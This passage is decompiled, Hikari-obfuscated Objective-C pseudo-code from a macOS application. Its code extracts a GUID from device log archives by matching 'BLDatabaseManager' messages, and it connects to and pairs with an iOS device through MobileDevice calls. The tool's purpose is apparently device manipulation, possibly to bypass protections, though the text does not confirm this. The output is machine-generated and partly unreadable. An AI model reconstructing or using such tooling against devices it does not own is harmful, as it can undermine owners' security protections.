asc_100289FC0[22] = 125;
asc_100289FC0[23] = 45;
asc_100289FC0[24] = 91;
asc_100289FC0[25] = 65;
asc_100289FC0[26] = 45;
asc_100289FC0[27] = 70;
asc_100289FC0[28] = 48;
asc_100289FC0[29] = 45;
asc_100289FC0[30] = 57;
asc_100289FC0[31] = 93;
asc_100289FC0[32] = 123;
asc_100289FC0[33] = 52;
asc_100289FC0[34] = 125;
asc_100289FC0[35] = 45;
asc_100289FC0[36] = 91;
asc_100289FC0[37] = 65;
asc_100289FC0[38] = 45;
asc_100289FC0[39] = 70;
asc_100289FC0[40] = 48;
asc_100289FC0[41] = 45;
asc_100289FC0[42] = 57;
asc_100289FC0[43] = 93;
asc_100289FC0[44] = 123;
asc_100289FC0[45] = 52;
asc_100289FC0[46] = 125;
asc_100289FC0[47] = 45;
asc_100289FC0[48] = 91;
asc_100289FC0[49] = 65;
asc_100289FC0[50] = 45;
asc_100289FC0[51] = 70;
asc_100289FC0[52] = 48;
asc_100289FC0[53] = 45;
asc_100289FC0[54] = 57;
asc_100289FC0[55] = 93;
asc_100289FC0[56] = 123;
asc_100289FC0[57] = 49;
asc_100289FC0[58] = 50;
asc_100289FC0[59] = 125;
asc_100289FC0[60] = 0;
strcpy(aGk, "Extracting GUID from log archive: %@");
strcpy(asc_100278D42, "/usr/bin/log");
aKdcjd[0] = 45;
aKdcjd[1] = 45;
aKdcjd[2] = 100;
aKdcjd[3] = 101;
aKdcjd[4] = 98;
aKdcjd[5] = 117;
aKdcjd[6] = 103;
aKdcjd[7] = 0;
strcpy(asc_100278C6A, "--archive");
asc_100278C79[0] = 115;
asc_100278C79[1] = 104;
asc_100278C79[2] = 111;
asc_100278C79[3] = 119;
asc_100278C79[4] = 0;
asc_100279219[0] = 45;
asc_100279219[1] = 45;
asc_100279219[2] = 105;
asc_100279219[3] = 110;
asc_100279219[4] = 102;
asc_100279219[5] = 111;
asc_100279219[6] = 0;
strcpy(aZ_7, "--predicate");
strcpy(asc_100289F00, "No GUID found in output");
strcpy(asc_100278CB0, "[i] Carpeta logarchive eliminada");
qmemcpy(asc_100289EB0, "composedMessage CONTAINS \"BL", 28);
*v89 = 1167773586;
}
else if ( v69 == 715608679 )
{
v27 = v63;
NSLog(format, a2);
*v89 = -91267978;
v64 = v27;
v3 = v66;
}
}
else
{
switch ( v69 )
{
case 732921625:
qmemcpy(asc_100289FC0, "[A-F0-9]{8}-[A-F0-9]", 20);
*v89 = 617134433;
break;
case 763143838:
v5 = 1;
v6 = -1068154426;
v16 = 1253314524;
goto LABEL_215;
case 780993032:
v17 = objc_msgSend(v81, "substringWithRange:", v51, v52);
v18 = objc_retainAutoreleasedReturnValue(v17);
a2 = "uppercaseString";
v19 = HikariFunctionWrapper_19023(v18, "uppercaseString");
v53 = objc_retainAutoreleasedReturnValue(v19);
objc_release(v18);
v60 = &OBJC_CLASS___NSFileManager;
v61 = "defaultManager";
*v89 = 2039697550;
break;
}
}
}
else if ( v69 <= 535444741 )
{
if ( v69 == 518990583 )
{
v40 = 1318216307;
if ( v84 )
v40 = 1270064000;
v78 = "length";
*v89 = v40;
LABEL_209:
v73 = &stru_10025B688;
}
else if ( v69 == 530921873 )
{
objc_release(v75);
objc_release(v72);
*v89 = 1715381508;
}
}
else
{
switch ( v69 )
{
case 535444742:
*v89 = 1127347587;
break;
case 607771489:
objc_msgSend(v80, v55, v79);
v29 = objc_msgSend(v79, "fileHandleForReading");
v30 = objc_retainAutoreleasedReturnValue(v29);
v31 = HikariFunctionWrapper_19025(v79, "fileHandleForWriting");
v32 = objc_retainAutoreleasedReturnValue(v31);
objc_msgSend(v80, "launch");
objc_msgSend(v80, "waitUntilExit");
objc_msgSend(v32, "closeFile");
a2 = "readDataToEndOfFile";
v33 = HikariFunctionWrapper_19027(v30, "readDataToEndOfFile");
objc_retainAutoreleasedReturnValue(v33);
*v89 = 2077561489;
break;
case 617134433:
qmemcpy(asc_100289FC0, "[A-F0-9]{8}-[A-F0-9]", 20);
v88 = 123;
*v89 = 1230742369;
break;
}
}
}
else if ( v69 <= 1083493222 )
{
if ( v69 <= 954940362 )
{
if ( v69 == 875510500 )
{
NSLog(
CFSTR("V\xB19q\xA6\xA8\xA8\x9B~\x16\xDA\x64\xE0\x47\xD9W}4\x81)-\xAE\xA2\xB0\xCF\xDD]\xFE(\xA2\xD1\x5A\t"),
a2);
*v89 = 1447540494;
}
else if ( v69 == 903185244 )
{
v24 = 0;
v6 = 1871764282;
v25 = 76030248;
goto LABEL_203;
}
}
else
{
switch ( v69 )
{
case 954940363:
v5 = 0;
v68 = dword_10029F60C;
v6 = 954940363;
v16 = -637282768;
LABEL_215:
if ( !v5 )
v6 = v16;
goto LABEL_217;
case 1011085484:
v12 = 1;
v6 = 1806217708;
v13 = -170374149;
goto LABEL_211;
case 1078476914:
*v89 = 1459551090;
break;
}
}
}
else if ( v69 > 1167773585 )
{
switch ( v69 )
{
case 1167773586:
asc_100289FC0[20] = v88;
asc_100289FC0[21] = 52;
asc_100289FC0[22] = 125;
asc_100289FC0[23] = 45;
asc_100289FC0[24] = 91;
asc_100289FC0[25] = 65;
asc_100289FC0[26] = 45;
asc_100289FC0[27] = 70;
asc_100289FC0[28] = 48;
asc_100289FC0[29] = 45;
asc_100289FC0[30] = 57;
asc_100289FC0[31] = 93;
asc_100289FC0[32] = 123;
asc_100289FC0[33] = 52;
asc_100289FC0[34] = 125;
asc_100289FC0[35] = 45;
asc_100289FC0[36] = 91;
asc_100289FC0[37] = 65;
asc_100289FC0[38] = 45;
asc_100289FC0[39] = 70;
asc_100289FC0[40] = 48;
asc_100289FC0[41] = 45;
asc_100289FC0[42] = 57;
asc_100289FC0[43] = 93;
asc_100289FC0[44] = 123;
asc_100289FC0[45] = 52;
asc_100289FC0[46] = 125;
asc_100289FC0[47] = 45;
asc_100289FC0[48] = 91;
asc_100289FC0[49] = 65;
asc_100289FC0[50] = 45;
asc_100289FC0[51] = 70;
asc_100289FC0[52] = 48;
asc_100289FC0[53] = 45;
asc_100289FC0[54] = 57;
asc_100289FC0[55] = 93;
asc_100289FC0[56] = 123;
asc_100289FC0[57] = 49;
asc_100289FC0[58] = 50;
asc_100289FC0[59] = 125;
asc_100289FC0[60] = 0;
strcpy(aGk, "Extracting GUID from log archive: %@");
strcpy(asc_100278D42, "/usr/bin/log");
aKdcjd[0] = 45;
aKdcjd[1] = 45;
aKdcjd[2] = 100;
aKdcjd[3] = 101;
aKdcjd[4] = 98;
aKdcjd[5] = 117;
aKdcjd[6] = 103;
aKdcjd[7] = 0;
strcpy(asc_100278C6A, "--archive");
asc_100278C79[0] = 115;
asc_100278C79[1] = 104;
asc_100278C79[2] = 111;
asc_100278C79[3] = 119;
asc_100278C79[4] = 0;
asc_100279219[0] = 45;
asc_100279219[1] = 45;
asc_100279219[2] = 105;
asc_100279219[3] = 110;
asc_100279219[4] = 102;
asc_100279219[5] = 111;
asc_100279219[6] = 0;
strcpy(aZ_7, "--predicate");
strcpy(asc_100289F00, "No GUID found in output");
strcpy(asc_100278CB0, "[i] Carpeta logarchive eliminada");
qmemcpy(asc_100289EB0, "composedMessage CONTAINS \"BL", 28);
v83 = -25;
*v89 = 535444742;
break;
case 1180281563:
objc_release(v81);
objc_release(v77);
objc_release(v71);
objc_release(v70);
objc_release(v79);
objc_release(v80);
objc_release(v3);
objc_autoreleaseReturnValue(v74);
*v89 = 221099930;
break;
case 1226528570:
v24 = !v86;
v6 = 1083493223;
v25 = -842806990;
goto LABEL_203;
}
}
else
{
switch ( v69 )
{
case 1083493223:
v58 = &OBJC_CLASS___NSRegularExpression;
v59 = "regularExpressionWithPattern:options:error:";
*v89 = 1297660383;
break;
case 1127347587:
asc_100289EB0[28] = v83 - 2 * (v83 & 0x23) - 93;
asc_100289EB0[29] = 97;
asc_100289EB0[30] = 116;
asc_100289EB0[31] = 97;
asc_100289EB0[32] = 98;
asc_100289EB0[33] = 97;
asc_100289EB0[34] = 115;
asc_100289EB0[35] = 101;
asc_100289EB0[36] = 77;
asc_100289EB0[37] = 97;
asc_100289EB0[38] = 110;
asc_100289EB0[39] = 97;
asc_100289EB0[40] = 103;
asc_100289EB0[41] = 101;
asc_100289EB0[42] = 114;
asc_100289EB0[43] = 34;
asc_100289EB0[44] = 0;
strcpy(aV_13, "[!] Output is empty or unreadable");
*v89 = -1132624998;
break;
case 1165968338:
v5 = 1;
v6 = -1266364908;
LABEL_178:
v16 = 436551173;
goto LABEL_215;
}
}
}
if ( v69 > 1715381507 )
break;
if ( v69 > 1318216306 )
{
if ( v69 <= 1447540493 )
{
if ( v69 == 1318216307 )
{
v24 = 0;
v6 = -559427546;
v25 = -2107138242;
goto LABEL_203;
}
if ( v69 == 1356430184 )
{
v12 = 0;
v6 = 392888380;
v13 = 1500327972;
goto LABEL_211;
}
}
else
{
switch ( v69 )
{
case 1447540494:
HikariFunctionWrapper_19019(CFSTR("V\xB19q\xA6\xA8\xA8\x9B~\x16\xDA\x64\xE0\x47\xD9W}4\x81)-\xAE\xA2\xB0\xCF\xDD]\xFE(\xA2\xD1\x5A\t"));
v5 = 1;
v6 = 1078476914;
v16 = 875510500;
goto LABEL_215;
case 1459551090:
v5 = 1;
v6 = 1165968338;
goto LABEL_178;
case 1500327972:
*v89 = 392888380;
break;
}
}
}
else if ( v69 <= 1253314523 )
{
if ( v69 == 1230742369 )
{
*v89 = -237951722;
}
else if ( v69 == 1243852092 )
{
*v89 = 1954095248;
}
}
else
{
switch ( v69 )
{
case 1253314524:
a2 = "initWithData:encoding:";
HikariFunctionWrapper_19031(v57, "initWithData:encoding:");
*v89 = -1068154426;
break;
case 1270064000:
v81 = v73;
v12 = 1;
v6 = -705365257;
v13 = -442853088;
goto LABEL_211;
case 1297660383:
v12 = 1;
v6 = -216130288;
v13 = -1145720718;
goto LABEL_211;
}
}
}
if ( v69 > 1871764281 )
break;
if ( v69 <= 1777304380 )
{
if ( v69 == 1715381508 )
{
objc_release(v75);
objc_release(v72);
v5 = 0;
v6 = 530921873;
v16 = 345423593;
goto LABEL_215;
}
if ( v69 == 1773840605 )
{
v12 = 1;
v6 = 1787274043;
v13 = -1631209757;
goto LABEL_211;
}
}
else
{
switch ( v69 )
{
case 1777304381:
v74 = v65;
v6 = 221099930;
goto LABEL_217;
case 1787274043:
*v89 = -1631209757;
break;
case 1806217708:
*v89 = -170374149;
break;
}
}
}
if ( v69 <= 2013350283 )
break;
switch ( v69 )
{
case 2013350284:
*v89 = 763143838;
break;
case 2039697550:
a2 = (SEL)1370784925;
v12 = 1;
v6 = -1240844691;
goto LABEL_155;
case 2077561489:
objc_msgSend(v80, v55, v79);
v8 = objc_msgSend(v79, "fileHandleForReading");
v70 = objc_retainAutoreleasedReturnValue(v8);
v9 = objc_msgSend(v79, "fileHandleForWriting");
v71 = objc_retainAutoreleasedReturnValue(v9);
objc_msgSend(v80, "launch");
HikariFunctionWrapper_19015(v80, "waitUntilExit");
objc_msgSend(v71, "closeFile");
a2 = "readDataToEndOfFile";
v10 = objc_msgSend(v70, "readDataToEndOfFile");
v11 = objc_retainAutoreleasedReturnValue(v10);
v84 = v11 == 0;
v12 = 0;
v77 = v11;
v6 = -234794052;
v13 = 2077561489;
goto LABEL_211;
}
}
if ( v69 != 1871764282 )
break;
*v89 = 903185244;
}
if ( v69 == 1954095248 )
{
v24 = 0;
v6 = -1167573622;
v25 = -1743705602;
goto LABEL_203;
}
}
while ( v69 != 1934071584 );
return v74;
}
// 1001CC1E5: variable 'v7' is possibly undefined
// 10025B688: using guessed type __CFString stru_10025B688;
// 10028A020: using guessed type __CFString stru_10028A020;
// 10028A060: using guessed type __CFString stru_10028A060;
// 10028A0A0: using guessed type __CFString cfstr_Z_7_0;
// 10028A0E0: using guessed type __CFString stru_10028A0E0;
// 10028A120: using guessed type __CFString stru_10028A120;
// 10028A160: using guessed type __CFString stru_10028A160;
// 10028A1A0: using guessed type __CFString cfstr_Kdcjd_0;
// 10028A220: using guessed type __CFString stru_10028A220;
// 10028A260: using guessed type __CFString stru_10028A260;
// 10028A2A0: using guessed type __CFString stru_10028A2A0;
// 10029F60C: using guessed type int dword_10029F60C;
//----- (00000001001CF9F6) ----------------------------------------------------
char __cdecl -[AppDelegate connectToDevice](AppDelegate *self, SEL a2)
{
bool v2; // zf
int v3; // eax
int v4; // ecx
int v5; // eax
char v6; // cf
int v7; // ecx
char v8; // cf
int v9; // ecx
int v10; // eax
unsigned int v11; // eax
int v12; // eax
unsigned int v13; // eax
unsigned int v14; // eax
const char *v16; // [rsp+0h] [rbp-A0h]
id v17; // [rsp+8h] [rbp-98h]
__int64 v18; // [rsp+10h] [rbp-90h]
__int64 v19; // [rsp+18h] [rbp-88h]
__int64 v20; // [rsp+20h] [rbp-80h]
__int64 v21; // [rsp+28h] [rbp-78h]
__int64 v22; // [rsp+30h] [rbp-70h]
__int64 v23; // [rsp+38h] [rbp-68h]
int v24; // [rsp+40h] [rbp-60h]
_DWORD v25[2]; // [rsp+44h] [rbp-5Ch] BYREF
unsigned int v26; // [rsp+4Ch] [rbp-54h]
unsigned int v27; // [rsp+50h] [rbp-50h]
int v28; // [rsp+54h] [rbp-4Ch]
int v29; // [rsp+58h] [rbp-48h]
unsigned int v30; // [rsp+5Ch] [rbp-44h]
int v31; // [rsp+60h] [rbp-40h]
bool v32; // [rsp+67h] [rbp-39h]
bool v33; // [rsp+68h] [rbp-38h]
char IsPaired; // [rsp+69h] [rbp-37h]
bool v35; // [rsp+6Ah] [rbp-36h]
bool v36; // [rsp+6Bh] [rbp-35h]
bool v37; // [rsp+6Ch] [rbp-34h]
bool v38; // [rsp+6Dh] [rbp-33h]
char v39; // [rsp+6Eh] [rbp-32h]
char v40; // [rsp+6Fh] [rbp-31h]
int *v41; // [rsp+70h] [rbp-30h]
v24 = dword_10029F610;
v25[0] = 1660406459;
v41 = v25;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v25[0] <= 146906853 )
{
if ( v25[0] > -1257279970 )
{
if ( v25[0] > -432106570 )
{
if ( v25[0] <= -245529639 )
{
if ( v25[0] <= -384734383 )
{
switch ( v25[0] )
{
case 0xE63E93B7:
goto LABEL_166;
case 0xE67D1B72:
LABEL_238:
*v41 = 395258194;
break;
case 0xE888A7A8:
v10 = 1143319414;
if ( v38 )
v10 = 1345556684;
*v41 = v10;
v29 = v28;
v40 = 0;
break;
}
}
else if ( v25[0] > -307758537 )
{
if ( v25[0] == -307758536 )
{
*v41 = -84575227;
}
else if ( v25[0] == -297743680 )
{
v6 = 1;
v3 = 1828598033;
v7 = 252202728;
goto LABEL_301;
}
}
else
{
if ( v25[0] == -384734382 )
goto LABEL_238;
if ( v25[0] == -364345683 )
{
strcpy(asc_10028A360, "Pairing validation error: 0x%x");
strcpy(asc_10028A3F0, "AMDeviceConnect fail: 0x%x (attempt %d)");
qmemcpy(asc_10028A3A0, "Device pairing error:", 21);
v39 = 32;
v3 = -1722507865;
goto LABEL_310;
}
}
}
else if ( v25[0] > 56409140 )
{
if ( v25[0] > 92160091 )
{
if ( v25[0] == 92160092 )
{
*v41 = -432106569;
}
else if ( v25[0] == 92564410 )
{
v3 = 1320062184;
goto LABEL_310;
}
}
else if ( v25[0] == 56409141 )
{
*v41 = -753726879;
}
else if ( v25[0] == 77071538 )
{
v2 = !v35;
v3 = -859032420;
LABEL_281:
v4 = 1497637752;
goto LABEL_308;
}
}
else if ( v25[0] > -80086409 )
{
if ( v25[0] == -80086408 )
{
v19 = idevice;
*v41 = -63754589;
}
else if ( v25[0] == -63754589 )
{
LABEL_261:
*v41 = -1310967848;
}
}
else
{
if ( v25[0] == -245529638 )
{
HikariFunctionWrapper_19039(&stru_10028A500.isa);
v6 = 1;
v17 = &OBJC_CLASS___NSThread;
v3 = 1735411869;
v7 = 399307115;
goto LABEL_301;
}
if ( v25[0] == -84575227 )
{
v2 = 0;
v18 = idevice;
v3 = -84575227;
v4 = 1037067806;
goto LABEL_308;
}
}
}
else if ( v25[0] <= -991862505 )
{
if ( v25[0] <= -1182947372 )
{
switch ( v25[0] )
{
case 0xB50F6E1F:
*v41 = -1901415279;
break;
case 0xB75CFB00:
v6 = 1;
v3 = 1828598033;
v7 = -297743680;
goto LABEL_301;
case 0xB903B408:
*v41 = 955515742;
break;
}
}
else if ( v25[0] > -1132145757 )
{
if ( v25[0] == -1132145756 )
{
v8 = 0;
v3 = -1132145756;
v9 = 1441471166;
goto LABEL_293;
}
if ( v25[0] == -1055305424 )
{
v2 = 0;
v3 = 1674466601;
v4 = 1738791550;
goto LABEL_308;
}
}
else if ( v25[0] == -1182947371 )
{
v16 = "sleepForTimeInterval:";
*v41 = 1546315609;
}
else if ( v25[0] == -1160453499 )
{
*v41 = -1649710767;
}
}
else if ( v25[0] > -681482102 )
{
if ( v25[0] > -546352842 )
{
if ( v25[0] == -546352841 )
{
HikariFunctionWrapper_19043(CFSTR("\xEB\xC8\xB0C\xE0\x4E\x1Bӄ*\xEC\x3B\x7E\xFB\xB3z\x83\xE4\x33\xDF\"М\x13@H"));
v6 = 0;
v3 = 1270544921;
v7 = 596078975;
goto LABEL_301;
}
if ( v25[0] == -456050918 )
{
AMDeviceDisconnect(v21);
v8 = 1;
v3 = 1012814370;
v9 = -456050918;
goto LABEL_293;
}
}
else if ( v25[0] == -681482101 )
{
*v41 = -1747328265;
}
else if ( v25[0] == -679804675 )
{
*v41 = -1055305424;
}
}
else if ( v25[0] > -859032421 )
{
if ( v25[0] == -859032420 )
{
v3 = 1044701740;
goto LABEL_310;
}
if ( v25[0] == -753726879 )
*v41 = -1182947371;
}
else if ( v25[0] == -991862504 )
{
*v41 = 1698103969;
}
else if ( v25[0] == -886599900 )
{
v5 = HikariFunctionWrapper_19037(idevice);
v33 = v5 == 0;
v2 = 0;
v25[1] = v5;
v3 = -886599900;
v4 = 398631255;
goto LABEL_308;
}
}
else if ( v25[0] > -1775540665 )
{
if ( v25[0] <= -1627297492 )
{
if ( v25[0] <= -1747328266 )
{
switch ( v25[0] )
{
case 0x962B6648:
*v41 = 1931366686;
break;
case 0x969A63DD:
v8 = 1;
v3 = 895827164;
v9 = -2078772257;
goto LABEL_293;
case 0x97953AC1:
AMDeviceDisconnect(v21);
*v41 = -456050918;
break;
}
}
else if ( v25[0] > -1691353789 )
{
if ( v25[0] == -1691353788 )
{
asc_10028A3A0[21] = v39;
asc_10028A3A0[22] = 48;
asc_10028A3A0[23] = 120;
asc_10028A3A0[24] = 37;
asc_10028A3A0[25] = 120;
asc_10028A3A0[26] = 0;
qmemcpy(asc_10028A320, "Session start error: 0x%", 24);
v8 = 0;
v3 = 274026875;
v9 = 1241406795;
goto LABEL_293;
}
if ( v25[0] == -1649710767 )
{
v32 = v24 == 0;
v2 = 0;
v3 = -1160453499;
v4 = -1775540664;
goto LABEL_308;
}
}
else
{
if ( v25[0] == -1747328265 )
{
v2 = 0;
v3 = 887044226;
v4 = 1421539958;
goto LABEL_308;
}
if ( v25[0] == -1722507865 )
*v41 = -1573546239;
}
}
else if ( v25[0] > -1470433908 )
{
if ( v25[0] > -1314570788 )
{
if ( v25[0] == -1314570787 )
{
v2 = IsPaired == 0;
v3 = -80086408;
goto LABEL_281;
}
if ( v25[0] == -1310967848 )
{
v11 = AMDevicePair(v19);
v6 = 1;
v30 = v11;
v3 = 890341272;
v7 = -679804675;
goto LABEL_301;
}
}
else
{
if ( v25[0] == -1470433907 )
{
v8 = 1;
v23 = idevice;
v3 = -1257279969;
v9 = 901341589;
goto LABEL_293;
}
if ( v25[0] == -1429176973 )
*v41 = 385112910;
}
}
else if ( v25[0] > -1581634532 )
{
if ( v25[0] == -1581634531 )
{
*v41 = 1143319414;
v29 = 0;
}
else if ( v25[0] == -1573546239 )
{
v8 = 0;
v3 = 274026875;
v9 = -1691353788;
goto LABEL_293;
}
}
else if ( v25[0] == -1627297491 )
{
*v41 = -1182947371;
}
else if ( v25[0] == -1620238024 )
{
IsPaired = AMDeviceIsPaired(v18);
*v41 = -384734382;
}
}
else if ( v25[0] <= -2029555329 )
{
if ( v25[0] <= -2078772258 )
{
switch ( v25[0] )
{
case 0x816D7989:
v8 = 1;
v3 = -245529638;
v9 = 1735411869;
goto LABEL_293;
case 0x81AC4683:
HikariFunctionWrapper_19051(v23);
*v41 = 1966265693;
break;
case 0x825B6E15:
v8 = 1;
v3 = -456050918;
v9 = -1751827775;
goto LABEL_293;
}
}
else if ( v25[0] > -2062926655 )
{
if ( v25[0] == -2062926654 )
goto LABEL_166;
if ( v25[0] == -2044975328 )
*v41 = -1934615211;
}
else if ( v25[0] == -2078772257 )
{
*v41 = 895827164;
}
else if ( v25[0] == -2072805660 )
{
v8 = 0;
v3 = -307758536;
v9 = -84575227;
goto LABEL_293;
}
}
else if ( v25[0] > -1878462696 )
{
if ( v25[0] > -1828711261 )
{
if ( v25[0] == -1828711260 )
{
*v41 = 1320062184;
}
else if ( v25[0] == -1827521351 )
{
*v41 = 92160092;
}
}
else if ( v25[0] == -1878462695 )
{
v22 = idevice;
*v41 = -1190939640;
}
else if ( v25[0] == -1830022742 )
{
v3 = -364345683;
goto LABEL_310;
}
}
else if ( v25[0] > -1927012817 )
{
if ( v25[0] == -1927012816 )
{
*v41 = -1132145756;
}
else if ( v25[0] == -1901415279 )
{
v6 = 0;
v3 = 1966265693;
v7 = -2119416189;
goto LABEL_301;
}
}
else
{
if ( v25[0] == -2029555328 )
{
v2 = !v32;
v3 = 387526789;
v4 = -1830022742;
goto LABEL_308;
}
if ( v25[0] == -1934615211 )
{
v2 = 0;
v3 = 299211513;
v4 = 377235454;
goto LABEL_308;
}
}
}
if ( v25[0] > 1096568667 )
break;
if ( v25[0] > 596078974 )
{
if ( v25[0] <= 897250344 )
{
if ( v25[0] <= 797211533 )
{
switch ( v25[0] )
{
case 0x2387717F:
NSLog(
CFSTR("\xEB\xC8\xB0C\xE0\x4E\x1Bӄ*\xEC\x3B\x7E\xFB\xB3z\x83\xE4\x33\xDF\"М\x13@H"),
v27);
*v41 = -546352841;
break;
case 0x2D6D2350:
*v41 = 1829801234;
break;
case 0x2E9374C6:
*v41 = -2107937259;
break;
}
}
else if ( v25[0] > 890341271 )
{
if ( v25[0] == 890341272 )
{
AMDevicePair(v19);
goto LABEL_261;
}
if ( v25[0] == 895827164 )
{
v8 = 0;
v21 = idevice;
v3 = -2078772257;
v9 = 781415622;
goto LABEL_293;
}
}
else if ( v25[0] == 797211534 )
{
NSLog(
CFSTR("\xCF\xC9$\xF7\x39\x3A\x72x\x82+\xEA\x1A\xBB\x9A=\x8C\xC3\x766\xE8\x71\x89XY\xBF\xA1_\x8DI|\xB6"),
v26);
*v41 = -1768266787;
}
else if ( v25[0] == 887044226 )
{
*v41 = 1421539958;
}
}
else if ( v25[0] > 1012814369 )
{
if ( v25[0] > 1044701739 )
{
if ( v25[0] == 1044701740 )
{
NSLog(
CFSTR("\xAE)颭\x89Aٓ_\xBC\xC6\x43ZF\x16\xF4\x1B\x66\x40q\t!\x9D\xDB\xEA#"),
v30,
2865445057LL);
v6 = 1;
v20 = idevice;
v3 = 1044701740;
v7 = -2044975328;
goto LABEL_301;
}
if ( v25[0] == 1066156362 )
{
v12 = 570727741;
if ( v37 )
v12 = 1345556684;
*v41 = v12;
v40 = 1;
}
}
else
{
if ( v25[0] == 1012814370 )
goto LABEL_166;
if ( v25[0] == 1037067806 )
*v41 = -1620238024;
}
}
else if ( v25[0] > 934754658 )
{
if ( v25[0] == 934754659 )
{
v2 = 0;
v3 = -1927012816;
v4 = -1132145756;
goto LABEL_308;
}
if ( v25[0] == 955515742 )
{
v3 = 1993127479;
goto LABEL_310;
}
}
else
{
if ( v25[0] == 897250345 )
{
v8 = 0;
v3 = 901341589;
v9 = -1470433907;
goto LABEL_293;
}
if ( v25[0] == 901341589 )
*v41 = -1470433907;
}
}
else if ( v25[0] <= 385112909 )
{
if ( v25[0] <= 274026874 )
{
switch ( v25[0] )
{
case 0x8C19EE6:
NSLog(CFSTR("\xAE)颭\x89Aٓ_\xBC\xC6\x43ZF\x16\xF4\x1B\x66\x40q\t!\x9D\xDB\xEA#"), v30);
*v41 = 1044701740;
break;
case 0x9819B4B:
HikariFunctionWrapper_19047(idevice);
*v41 = 1427129947;
break;
case 0xF084EE8:
LABEL_166:
*v41 = 1975373047;
break;
}
}
else if ( v25[0] > 352197258 )
{
if ( v25[0] == 352197259 )
{
HikariFunctionWrapper_19049(v22);
*v41 = 1993127479;
}
else if ( v25[0] == 377235454 )
{
AMDeviceDisconnect(v20);
v2 = 0;
v3 = 299211513;
v4 = 1969108156;
goto LABEL_308;
}
}
else if ( v25[0] == 274026875 )
{
asc_10028A3A0[21] = v39;
asc_10028A3A0[22] = 48;
asc_10028A3A0[23] = 120;
asc_10028A3A0[24] = 37;
asc_10028A3A0[25] = 120;
asc_10028A3A0[26] = 0;
qmemcpy(asc_10028A320, "Session start error: 0x%", 24);
*v41 = -1691353788;
}
else if ( v25[0] == 299211513 )
{
AMDeviceDisconnect(v20);
*v41 = 377235454;
}
}
else if ( v25[0] > 398631254 )
{
if ( v25[0] > 536191375 )
{
if ( v25[0] == 536191376 )
{
objc_msgSend(v17, v16, 0.5);
*v41 = 1572793585;
}
else if ( v25[0] == 570727741 )
{
v3 = -546352841;
goto LABEL_310;
}
}
else
{
if ( v25[0] == 398631255 )
{
v2 = !v33;
v3 = -2123531895;
v4 = -2072805660;
goto LABEL_308;
}
if ( v25[0] == 399307115 )
*v41 = 536191376;
}
}
else if ( v25[0] > 392400089 )
{
if ( v25[0] == 392400090 )
{
v3 = -2029555328;
goto LABEL_310;
}
if ( v25[0] == 395258194 )
{
v8 = 1;
v3 = -1314570787;
v9 = -428008590;
goto LABEL_293;
}
}
else if ( v25[0] == 385112910 )
{
v38 = v28 == 5;
*v41 = 92564410;
}
else if ( v25[0] == 387526789 )
{
v2 = 0;
v3 = 1602992055;
v4 = 1324617770;
goto LABEL_308;
}
}
if ( v25[0] <= 1660406458 )
break;
if ( v25[0] <= 1931366685 )
{
if ( v25[0] <= 1735411868 )
{
switch ( v25[0] )
{
case 0x62F7CABB:
v6 = 1;
v3 = -1160453499;
v7 = -1649710767;
goto LABEL_301;
case 0x63CE5529:
*v41 = 1738791550;
break;
case 0x653702A1:
v36 = v26 == 0;
*v41 = 934754659;
break;
}
}
else if ( v25[0] > 1828598032 )
{
if ( v25[0] == 1828598033 )
{
*v41 = -297743680;
}
else if ( v25[0] == 1829801234 )
{
v8 = 1;
v28 = v31 + 1;
v3 = -1429176973;
v9 = 1829801234;
goto LABEL_293;
}
}
else if ( v25[0] == 1735411869 )
{
HikariFunctionWrapper_19045(&stru_10028A500.isa);
*v41 = -245529638;
}
else if ( v25[0] == 1738791550 )
{
v35 = v30 == 0;
v2 = 0;
v3 = 1674466601;
v4 = 77071538;
goto LABEL_308;
}
}
else if ( v25[0] > 1993127478 )
{
if ( v25[0] > 2142266072 )
{
if ( v25[0] == 2142266073 )
{
*v41 = -1878462695;
}
else if ( v25[0] == 2145724223 )
{
v6 = 1;
v3 = 2142266073;
v7 = -1878462695;
goto LABEL_301;
}
}
else
{
if ( v25[0] == 1993127479 )
{
v13 = HikariFunctionWrapper_19041(v22);
v37 = v13 == 0;
v6 = 0;
v27 = v13;
v3 = -681482101;
v7 = 1993127479;
goto LABEL_301;
}
if ( v25[0] == 2000527968 )
{
strcpy(asc_10028A360, "Pairing validation error: 0x%x");
strcpy(asc_10028A3F0, "AMDeviceConnect fail: 0x%x (attempt %d)");
qmemcpy(asc_10028A3A0, "Device pairing error:", 21);
*v41 = -364345683;
}
}
}
else if ( v25[0] > 1969108155 )
{
if ( v25[0] == 1969108156 )
{
*v41 = -1218643200;
}
else if ( v25[0] == 1975373047 )
{
v3 = 1829801234;
goto LABEL_310;
}
}
else if ( v25[0] == 1931366686 )
{
v8 = 1;
v3 = 392400090;
v9 = 1096568668;
LABEL_293:
if ( !v8 )
v3 = v9;
LABEL_310:
*v41 = v3;
}
else if ( v25[0] == 1966265693 )
{
AMDeviceDisconnect(v23);
v6 = 0;
v3 = -2062926654;
v7 = 1966265693;
goto LABEL_301;
}
}
if ( v25[0] <= 1427129946 )
break;
if ( v25[0] > 1546315608 )
{
if ( v25[0] > 1602992054 )
{
if ( v25[0] == 1602992055 )
{
dword_10029F610 = 1;
*v41 = 1324617770;
}
else if ( v25[0] == 1639111916 )
{
asc_10028A320[24] = 120;
asc_10028A320[25] = 0;
*v41 = 387526789;
}
}
else if ( v25[0] == 1546315609 )
{
*v41 = -1581634531;
}
else if ( v25[0] == 1572793585 )
{
v8 = 1;
v3 = 92160092;
v9 = -1827521351;
goto LABEL_293;
}
}
else if ( v25[0] > 1479411548 )
{
if ( v25[0] == 1479411549 )
{
AMDeviceConnect(idevice);
*v41 = -886599900;
}
else if ( v25[0] == 1497637752 )
{
v6 = 0;
v3 = 1427129947;
LABEL_300:
v7 = 159488843;
LABEL_301:
if ( v6 )
v3 = v7;
goto LABEL_310;
}
}
else
{
if ( v25[0] == 1427129947 )
{
v14 = AMDeviceValidatePairing(idevice);
v6 = 0;
v26 = v14;
v3 = -991862504;
goto LABEL_300;
}
if ( v25[0] == 1441471166 )
{
v2 = !v36;
v3 = 797211534;
v4 = 2145724223;
goto LABEL_308;
}
}
}
if ( v25[0] > 1320062183 )
break;
if ( v25[0] > 1241406794 )
{
if ( v25[0] == 1241406795 )
{
*v41 = 1639111916;
}
else if ( v25[0] == 1270544921 )
{
*v41 = 897250345;
}
}
else if ( v25[0] == 1096568668 )
{
*v41 = 392400090;
}
else if ( v25[0] == 1143319414 )
{
v31 = v29;
v8 = 0;
v3 = 1479411549;
